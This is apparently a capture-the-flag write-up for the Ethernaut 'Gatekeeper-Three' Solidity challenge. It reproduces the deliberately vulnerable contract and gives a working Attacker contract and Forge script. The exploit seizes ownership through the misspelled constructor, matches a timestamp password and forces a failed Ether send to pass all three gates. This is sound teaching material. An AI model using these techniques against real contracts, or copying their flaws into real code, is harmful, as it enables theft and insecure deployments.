Gatekeeper-Three

Gatekeeper-Three

Cope with gates and become an entrant.

Things that might help:

  • Recall return values of low-level functions.
  • Be attentive with semantic.
  • Refresh how storage works in Ethereum.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
  GatekeeperThree public target;
  address public trick;
  uint private password = block.timestamp;

  constructor (address payable _target) {
    target = GatekeeperThree(_target);
  }
    
  function checkPassword(uint _password) public returns (bool) {
    if (_password == password) {
      return true;
    }
    password = block.timestamp;
    return false;
  }
    
  function trickInit() public {
    trick = address(this);
  }
    
  function trickyTrick() public {
    if (address(this) == msg.sender && address(this) != trick) {
      target.getAllowance(password);
    }
  }
}

contract GatekeeperThree {
  address public owner;
  address public entrant;
  bool public allowEntrance;

  SimpleTrick public trick;

  function construct0r() public {
      owner = msg.sender;
  }

  modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
  }

  modifier gateTwo() {
    require(allowEntrance == true);
    _;
  }

  modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
      _;
    }
  }

  function getAllowance(uint _password) public {
    if (trick.checkPassword(_password)) {
        allowEntrance = true;
    }
  }

  function createTrick() public {
    trick = new SimpleTrick(payable(address(this)));
    trick.trickInit();
  }

  function enter() public gateOne gateTwo gateThree {
    entrant = tx.origin;
  }

  receive () external payable {}
}

Solution:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "../lib/forge-std/src/console.sol";

interface GatekeeperThree {
  function owner() external returns(address);
  function entrant() external returns(address);
  function construct0r() external;
  function getAllowance(uint _password) external;
  function createTrick() external;
  function enter() external;
}

contract Attacker {

  function attack(GatekeeperThree gate) public payable {
    gate.construct0r();
    gate.createTrick();
    gate.getAllowance(block.timestamp);
    (bool success,) = payable(address(gate)).call{value: address(this).balance }("");
    require(success, 'call failed');
    gate.enter();
  }

  receive() external payable {
    revert();
  }
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "forge-std/console.sol";

import {Attacker,GatekeeperThree} from '../src/28.sol';

contract POC is Script {
	// First I've used this method to find the password but I didn't found why it 
	// wasn't working when broadcasted to sepolia so I just made everything in
	// one transaction
  function getUintValue(address targetContract, uint256 slot) public view returns (uint256) {
    bytes32 slotValue = vm.load(targetContract, bytes32(slot));
    return uint256(slotValue);
  }

  function run() external {
    uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
    address addr = vm.envAddress("INSTANCE_28");

    vm.startBroadcast(deployerPrivateKey);

    GatekeeperThree gate = GatekeeperThree(payable(addr));
    Attacker attacker = new Attacker();

    console.log('entrant: %s', gate.entrant());
    console.log('owner: %s', gate.owner());

     attacker.attack{ value: 0.001001 ether }(gate);

    console.log('entrant: %s', gate.entrant());
    console.log('owner: %s', gate.owner());

    vm.stopBroadcast();

  }
}